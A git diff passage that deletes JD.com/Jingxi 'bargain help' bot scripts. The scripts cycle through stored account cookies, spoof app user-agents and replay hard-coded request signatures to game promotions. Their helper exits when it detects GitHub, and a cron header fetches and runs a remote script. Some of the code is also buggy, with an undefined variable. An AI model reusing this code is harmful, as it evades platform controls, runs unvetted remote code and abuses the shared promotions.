`https://api.m.jd.com`, - - body: `functionId=helpBargain&body={"actId":"${actId}","packetId":"${packetId}","headPortrait":"","nick":"","attent":true,"channel":"speed_app"}&appid=megatron&client=megatron&clientVersion=1.0.0`, -headers: { -"Origin": "https://mfn.jd.com", -"Host": "api.m.jd.com", - "User-Agent": "jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - "Cookie": cookie, - } - } - - $.post(options, async (err, resp, data) => { - try { - - data = JSON.parse(data); - - - - if(data.code == 0){ - - console.log('\n已帮砍:'+data.msg) - - }else - console.log('\n已帮砍:'+data.msg) - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - - - - - - - - - - - - - - - - - - - -async function taskPostUrl(functionId,body) { - return { - url: `${JD_API_HOST}`, - body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=content_ecology&uuid=6898c30638c55142969304c8e2167997fa59eb54&t=1622588448365`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} - - -async function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data["retcode"] === 13) { - $.isLogin = false; //cookie过期 - return; - } - if (data["retcode"] === 0) { - $.nickName = (data["base"] && data["base"].nickname) || $.UserName; - } else { - $.nickName = $.UserName; - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore - -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_kanjia2.js b/backUp/jd_kanjia2.js deleted file mode 100644 index 9125a17..0000000 --- a/backUp/jd_kanjia2.js +++ /dev/null @@ -1,526 +0,0 @@ -/* -#柠檬是兄弟就砍我2 -##惊喜欢乐砍 自定义变量 入口惊喜APP我的 惊喜欢乐砍 -export launchid="ba3b268758521b2a48ce7ed61b82ff7a" ##你的邀请码 -export first="false" ##第一次参加变量设置为true查看商品ID 填写商品ID后自动获取邀请码邀请 如果只助力 变量设置为false -export active="" ##商品ID - -[task_local] -#柠檬是兄弟就砍我2 -0 5 * * * http://nm66.top/jd_kanjia2.js, tag=柠檬是兄弟就砍我2, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true -*/ -const $ = new Env('柠檬是兄弟就砍我2'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = '', - message; -let active = ''; -let launchid = ''; -let first = ''; //第一次参加变量设置为true查看商品ID 填写商品ID后自动获取邀请码邀请 如果只助力 变量设置为false - -if (process.env.active) { - active = process.env.active; -} - -if (process.env.first) { - first = process.env.first; -} -if (process.env.launchid) { - launchid = process.env.launchid; -} - - - - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; - -!(async() => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - - - if (first == true) { - await info() - await checkaddress() - await join() - await help() - - } else - - - await help() - - - - } - } -})() -.catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -function info() { - return new Promise(async(resolve) => { - - let options = { - url: `https://m.jingxi.com/kjactive/jxhlk/jxhlk_showpage?pageindex=1&pagenum=10&launchid=&_stk=launchid%2Cpageindex%2Cpagenum&_ste=1&h5st=20210611124834764%3B9239928912872162%3B10029%3Btk01wbcaa1c9ba8nd2QzQ1ZoLzNtk5KzYYdDSHRhFzz7%2FRM9cwNQBA92KZHoHeloSktjcQEdy%2FEXtm5u1WsoLf%2F6pNyP%3B05df15c1c37911547393fc59f29a13f564d1f0fb7d7da9d6d0c2b0b6a7c9ffdc&t=1623386914770&_=1623386914770&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`, - //dS%2Bp85VyjydPuAOOnFP%2Faw%3D%3D - // body: `functionId=cutPriceByUser&body={"activityId":"852797097823596544","userName":"","followShop":1,"shopId":52021,"userPic":""}&client=wh5&clientVersion=1.0.0`, - headers: { - "Referer": "https://st.jingxi.com/sns/202103/20/jxhlk/list.html?ptag=7155.9.89", - "Host": "m.jingxi.com", - "User-Agent": "jdpingou;iPhone;4.8.0;14.3;9714ccbf07209f246277896ef7c041f3bb571ca3;network/wifi;model/iPhone9,2;appBuild/100540;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/22;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", - "Cookie": cookie, - } - } - - $.get(options, async(err, resp, data) => { - try { - - data = data.match(/(\{[^()]+\}.+)/)[1] - - //console.log(data) - const reust = JSON.parse(data) - //console.log(reust) - if (reust.errcode == 0) { - list = reust.data.freezone - for (let i = 0; i < list.length; i++) { - $.log(`商品:${list[i].skutitle}\n商品iD:${list[i].active}\n需要邀请:${list[i].needhelpnum}人 免费带回家`) - - } - } else - - console.log(data.msg) - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function checkaddress() { - return new Promise(async(resolve) => { - - let options = { - url: `https://m.jingxi.com/kjactive/jxhlk/jxhlk_checkaddress?active=${active}&addressid=&t=1623387225130&_=1623387225131&sceneval=2&g_login_type=1&callback=jsonpCBKE&g_ty=ls`, - //dS%2Bp85VyjydPuAOOnFP%2Faw%3D%3D - // body: `functionId=cutPriceByUser&body={"activityId":"852797097823596544","userName":"","followShop":1,"shopId":52021,"userPic":""}&client=wh5&clientVersion=1.0.0`, - headers: { - "Referer": "https://st.jingxi.com/sns/202103/20/jxhlk/list.html?ptag=7155.9.89", - "Host": "m.jingxi.com", - "User-Agent": "jdpingou;iPhone;4.8.0;14.3;9714ccbf07209f246277896ef7c041f3bb571ca3;network/wifi;model/iPhone9,2;appBuild/100540;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/22;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", - "Cookie": cookie, - } - } - - $.get(options, async(err, resp, data) => { - try { - - data = data.match(/(\{[^()]+\}.+)/)[1] - - //console.log(data) - const reust = JSON.parse(data) - //console.log(reust) - if (reust.errcode == 0) { - //list = reust.data.freezone - //for (let i = 0; i < list.length; i++) { - $.provinceid = reust.data.provinceid - $.cityid = reust.data.cityid - $.countyid = reust.data.countyid - $.log(`\n确认收货地址\n商品:${reust.data.skutitle}\n地址:${reust.data.address}`) - - // } - } else - - console.log(data.msg) - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function join() { - return new Promise(async(resolve) => { - - let options = { - url: `https://m.jingxi.com/kjactive/jxhlk/jxhlk_launch?active=${active}&provinceid=${$.provinceid}&cityid=${$.cityid}&countyid=${$.countyid}&_stk=active,cityid,countyid,provinceid&_ste=1&h5st=20210611134802301;9239928912872162;10029;tk01wbcaa1c9ba8nd2QzQ1ZoLzNtk5KzYYdDSHRhFzz7/RM9cwNQBA92KZHoHeloSktjcQEdy/EXtm5u1WsoLf/6pNyP;9a5fc97afa527c0cfa083a7d2d948c0308bdb2d78413eb8ea5d17e336af71dc2&t=1623390482324&_=1623390482325&sceneval=2&g_login_type=1&callback=jsonpCBKD&g_ty=ls`, - //dS%2Bp85VyjydPuAOOnFP%2Faw%3D%3D - // body: `functionId=cutPriceByUser&body={"activityId":"852797097823596544","userName":"","followShop":1,"shopId":52021,"userPic":""}&client=wh5&clientVersion=1.0.0`, - headers: { - "Referer": "https://st.jingxi.com/sns/202103/20/jxhlk/list.html?ptag=7155.9.89", - "Host": "m.jingxi.com", - "User-Agent": "jdpingou;iPhone;4.8.0;14.3;9714ccbf07209f246277896ef7c041f3bb571ca3;network/wifi;model/iPhone9,2;appBuild/100540;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/22;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", - "Cookie": cookie, - } - } - - $.get(options, async(err, resp, data) => { - try { - - data = data.match(/(\{[^()]+\}.+)/)[1] - - //console.log(data) - const reust = JSON.parse(data) - //console.log(reust) - if (reust.errcode == 0) { - $.launchid = restlt.launchid - $.log(`\n参加砍价成功 你当前商品邀请码:${restlt.launchid}`) - - // } - } else - - console.log(data.msg) - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - -function help() { - return new Promise(async(resolve) => { - - let options = { - url: `https://m.jingxi.com/kjactive/jxhlk/jxhlk_queryhelp?launchid=${launchid}&clicktype=1&nomoving=0&_stk=clicktype,launchid,nomoving&_ste=1&h5st=20210611141713782;4277367680239161;10029;tk01wea971d94a8nWUlYSjgyLzZKSU1igyCeoCUlN/xTTrRT7O3uvmUqievWdR1PWX5HYelOXXDFofE6gtFirtyXBLjY;787c9125d6eaf59d5fb81bcdea2b58481e4e395402191379b47fbec7470c67b3&t=1623392233807&_=1623392233808&sceneval=2&g_login_type=1&callback=jsonpCBKD&g_ty=ls`, - - headers: { - "Referer": `https://st.jingxi.com/sns/202103/20/jxhlk/list.html?launchid=${launchid}&ptag=139022.1.2&srv=jx_cxyw_https://wq.jd.com/cube/front/activePublish/jxhlkv2/486449.html?ptag=139022.1.2_jing`, - "Host": "m.jingxi.com", - "User-Agent": "jdpingou;iPhone;4.8.0;14.3;9714ccbf07209f246277896ef7c041f3bb571ca3;network/wifi;model/iPhone9,2;appBuild/100540;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/22;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", - "Cookie": cookie, - } - } - - $.get(options, async(err, resp, data) => { - try { - - data = data.match(/(\{[^()]+\}.+)/)[1] - - //console.log(options) - const reust = JSON.parse(data) - //console.log(reust) - if (reust.errcode == 0) { - //$.launchid=restlt.launchid - $.log(`\n${reust.data.guestinfo.contenttips}`) - - // } - } else - - console.log(data.msg) - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - - - - - - - - - - - - -async function taskPostUrl(functionId, body) { - return { - url: `${JD_API_HOST}`, - body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=content_ecology&uuid=6898c30638c55142969304c8e2167997fa59eb54&t=1622588448365`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} - - -async function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data["retcode"] === 13) { - $.isLogin = false; //cookie过期 - return; - } - if (data["retcode"] === 0) { - $.nickName = (data["base"] && data["base"].nickname) || $.UserName; - } else { - $.nickName = $.UserName; - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore - -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - class s { - constructor(t) { this.env = t } - send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } - get(t) { return this.send.call(this.env, t) } - post(t) { return this.send.call(this.env, t, "POST") } - } - return new class { - constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } - isNode() { return "undefined" != typeof module && !!module.exports } - isQuanX() { return "undefined" != typeof $task } - isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } - isLoon() { return "undefined" != typeof $loon } - toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } - toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) try { s = JSON.parse(this.getdata(t)) } catch {} - return s - } - setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } - getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - loaddata() { - if (!this.isNode()) return {}; { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e); - if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } - } - } - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e), - r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) - if (r = Object(r)[t], void 0 === r) return s; - return r - } - lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if (r) try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { e = "" } - } - return e - } - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - 